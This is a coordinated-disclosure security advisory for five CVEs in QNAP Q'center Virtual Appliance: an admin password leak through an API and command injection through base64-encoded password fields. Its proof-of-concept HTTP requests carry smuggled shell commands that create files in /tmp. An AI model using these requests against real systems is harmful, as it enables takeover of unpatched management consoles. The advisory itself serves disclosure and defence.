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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

QNAP Qcenter Virtual Appliance Multiple Vulnerabilities

1. *Advisory Information*

Title: QNAP Qcenter Virtual Appliance Multiple Vulnerabilities
Advisory ID: CORE-2018-0006
Advisory URL:
http://www.coresecurity.com/advisories/qnap-qcenter-multiple-vulnerabilities
Date published: 2018-07-11
Date of last update: 2018-07-11
Vendors contacted: QNAP
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Information Exposure [CWE-200], Command Injection [CWE-77],
Command Injection [CWE-77], Command Injection [CWE-77],
Command Injection [CWE-77]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-0706, CVE-2018-0707, CVE-2018-0708, CVE-2018-0709,
CVE-2018-0710

3. *Vulnerability Description*

QNAP's website states that:

[1] Q'center Virtual Appliance is a central management platform that
enables you to consolidate the management of multiple QNAP NAS. The
Q'center web interface gives you the ease-of-use, cost-efficiency,
convenience and flexibility to manage multiple NAS, across multiple
sites, from any internet browser.

The platform's provides centralized web-based administration to manage
the following features:

- Review HDD S.M.A.R.T. values
- Monitor system status
- Manage apps and shared folders
- Review infographice reports

Multiple vulnerabilities were found in the Q'center Virtual Appliance
web console that would allow an attacker to execute arbitrary commands
on the system.

4. *Vulnerable versions*

. Q'center Virtual Appliance Version 1.6.1056 (20170825)
. Q'center Virtual Appliance Version 1.6.1075 (20171123)
Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

QNAP  published the following Security Note:

. https://www.qnap.com/en-us/security-advisory/nas-201807-10

6. *Credits*

These vulnerabilities were discovered and researched by Ivan Huertas
from Core Security Consulting Services. The publication of this advisory
was coordinated by Leandro Cuozzo from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

QNAP's Q'center Virtual Appliance web console includes a functionality
that would allow an authenticated attacker to elevate privileges on the
system. We describe this issue in section 7.1.

Sections 7.2, 7.3, 7.4 and 7.5 show different methods to gain command
execution.

7.1. *Privilege escalation*

[CVE-2018-0706]
The application contains an API endpoint that returns information about
the accounts defined in the database. The information returned is
informative for all the users except for the admin user, which cames
with every installation, where an extra field is presented. This extra
field (new_password) contains the password defined at installation time
for the admin user encoded in base64.

Any authenticated user could access this API endpoint and retrieve the
admin user's password, therefore being able to login as an administrator.

The following proof of concept shows a user with viewer access
retrieving the admin's password encoded in base64 in the new_password
field.

/-----
GET /qcenter/hawkeye/v1/account?_dc=1519932315271 HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=viewer; CMS_SID=IV4P74Y16X; ROLE=1082130432;
_ID=5a9847223af7e2034924e7b6; LOGIN_TIME=1519932215818; remember=false
Connection: close

HTTP/1.1 200 OK
Date: Thu, 01 Mar 2018 19:23:43 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: application/json
Content-Length: 878
Connection: close

{
"total_count": 2,
"account": [
{
"dst_enable": false,
"name": "admin",
"default": true,
"new_password": "YWRtaW5pc3RyYWRvcg==",
"authentication": 0,
"create_time": {
"$date": 1519917983616
},
"role": 4294967295,
"timezone_code": 17,
"last_login": {
"$date": 1519929869797
},
"_id": "5a981b9f3af7e2030c883592",
"email": "",
"description": "administrator"
},
{
"dst_enable": false,
"name": "viewer",
"register_code": "",
"authentication": 0,
"create_time": {
"$date": 1519929122332
},
"role": 1082130432,
"timezone_code": 17,
"last_login": {
"$date": 1519932215818
},
"_id": "5a9847223af7e2034924e7b6",
"email": "",
"description": ""
}
]
}
-----/

As can be seen in the following excerpt, the decoded base64 data
corresponds to the plaintext administrator password set at installation
time.

/-----
$ echo YWRtaW5pc3RyYWRvcg== | base64 -d
administrador
-----/

7.2. *Command Execution in change password for the admin user*

[CVE-2018-0707]
When the admin user performs a password change, the application executes
an OS command to impact the changes. The input is not properly sanitized
when passed down to the OS, allowing an attacker to run arbitrary
commands.

/-----
POST /qcenter/hawkeye/v1/account?change_passwd HTTP/1.1
Host: 192.168.1.209
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.209/qcenter/
Content-Length: 118
Cookie: CMS_lang=ENG; user=admin; CMS_SID=TWYH7A55X5; ROLE=4294967295;
_ID=5a8465ba3af7e2030984c84e; LOGIN_TIME=1518714672547;
AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; remember=false
Connection: close

{"_id":"5a8465ba3af7e2030984c84e","old_password":"dGlzMzhhZWw=","new_password":"Ijt0b3VjaCAvdG1wL2NoYW5nZXBhc3M7Ig=="}
-----/

The API requires to send the password encoded in base64. This makes a
lot easier to inject command as we do not need to bypass any filters.
For the admin user in the web application, there is also a backing user
present on the OS. When a password change is requested for this user,
the values submitted to the API are included in a "sudo passwd" command,
where the injection occurs.

In this particular case, the old_password must match the current
password, which can be obtained by exploiting [CVE-2018-0706].

7.3. *Command Execution in network config update*

[CVE-2018-0708]
The admin user created at installation time can modify the network
configuration. In order to do this, the admin has to access the settings
section which is protected by the OS password (which could be obtained
using the Privilege Escalation vulnerability described above). However,
we identified that a user with the Power User profile could also execute
this function, despite access not being provided through the web
application interface. This function requires to send the admin user
password encoded in base64 in the passwd field. This value is then used
to perform a sudo operation in the OS to change the network settings. We
used the passwd field to inject command
(";touch /tmp/netconfigpower; echo "a) and create a file in /tmp/.

/-----
POST /qcenter/hawkeye/v1/network_config HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Content-Length: 87
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false
Connection: close

{"type":"0","dns_type":"0","passwd":"Ijt0b3VjaCAvdG1wL25ldGNvbmZpZ3Bvd2VyOyBlY2hvICJh"}
-----/

The passwd parameter is used in bash echo command unsanitized.

7.4. *Command Execution in date config update*

[CVE-2018-0709]
The admin user created at installation time is capable of modifying the
date configuration. In order to do this, the admin has to access the
settings section which is protected by the OS password (which could be
obtained using the Privilege Escalation vulnerability described above).
However, we identified that a user with the Power User profile could
execute this function, despite the access is not provided through the
web application interface. This function requires to submit the admin
user password encoded in base64 in the passwd field. This value is then
used to perform a sudo operation in the OS to change the date
configuration settings. We used the passwd field to inject command
(";touch /tmp/date_config;echo"lalala) and create a file in /tmp/.

/-----
POST /qcenter/hawkeye/v1/date_config HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Content-Length: 153
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false
Connection: close

{"listValue":18,"type":"1","datefield":1518663600000,"passwd":"Ijt0b3VjaCAvdG1wL2RhdGVfY29uZmlnO2VjaG8ibGFsYWxh","date":"20180215","time":"16:40:31"}
-----/

The passwd parameter is used in bash echo command unsanitized.

7.5. *Command Execution in SSH settings config update*
[CVE-2018-0710]
The admin user created at installation time is capable of modifying the
SSH configuration. In order to do this, the admin has to access the
settings section which is protected by the OS password (which could be
obtained using the Privilege Escalation vulnerability). However, we
identified that a user with the Power User profile could execute this
function, despite the access is not provided through the web application
interface. This function requires to submit the admin user password
encoded in base64 in the passwd field. This value is then used to
perform a sudo operation in the OS to change the date configuration
settings. We used the passwd field to inject command
("";touch /tmp/ssh; echo "lalalala) and create a file in /tmp/.

/-----
POST /qcenter/hawkeye/v1/ssh_setting_config HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Content-Length: 82
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false
Connection: close

{"ssh_enable":1,"port":22,"passwd":"Ijt0b3VjaCAvdG1wL3NzaDsgZWNobyAibGFsYWxhbGE="}
-----/

The passwd parameter is used in bash echo command unsanitized.

8. *Report Timeline*
2018-03-13: Core Security sent an initial notification to QNAP,
including a draft advisory.
2018-03-14: QNAP replied that they received the draft version of the
advisory and that they would review it.
2018-03-23: Core Security requested a status update.
2018-04-10: Core Security requested a confirmation about the reported
vulnerabilities and a tentative timescale to fix them.
2018-04-12: QNAP answered saying that they were unable to reproduce the
reported vulnerabilities and asked for more detailed information to
reproduce them.
2018-04-13: Core Security sent a more detailed guide to test.
2018-04-16: QNAP confirmed reception.
2018-04-26: Core Security requested a status update.
2018-04-29: QNAP confirmed the reported vulnerabilities and informed
that their software team were working in a fixed version.
2018-05-21: Core Security requested a status update.
2018-05-28: QNAP informed that a new version of Q'center would be
release by the week of June 4.
2018-05-28: Core Security thanked for the update and proposed June 13th
as publication date.
2018-05-29: QNAP answered saying that the new Q'center release was
delayed and asked to postpone the publication a week later.
2018-05-29: Core Security asked for a solidified release date in order
to go public at the same time.
2018-06-04: QNAP informed that they didn't have a confirmed date yet.
2018-06-08: Core Security asked QNAP for a status update.
2018-06-12: QNAP notified that Q'center was under testing, for that
reason they didn't have a confirmed release date.
2018-06-25: Core Security asked again for a status update.
2018-06-27: QNAP replied that they were expecting to release their
security advisory next week Thursday or Friday.
2018-06-28: Core Security informed QNAP that recommend vendors not to
publish near the weekend and proposed Wednesday July 11th as the
publication date.
2018-07-02: Core Security asked for a confirmation about the proposed
date.
2018-06-27: QNAP confirmed July 11th as the publication date.
2018-07-11: Advisory CORE-2018-0006 published.

9. *References*

[1] https://www.qnap.com/solution/qcenter/index.php

10. *About CoreLabs*

CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.

11. *About Core Security*

Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and
context needed to manage security risks across the enterprise. This
shared insight gives customers a comprehensive view of their security
posture to make better security remediation decisions. Better insight
allows organizations to prioritize their efforts to protect critical
assets, take action sooner to mitigate access risk, and react faster if
a breach does occur.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com

12. *Disclaimer*

The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/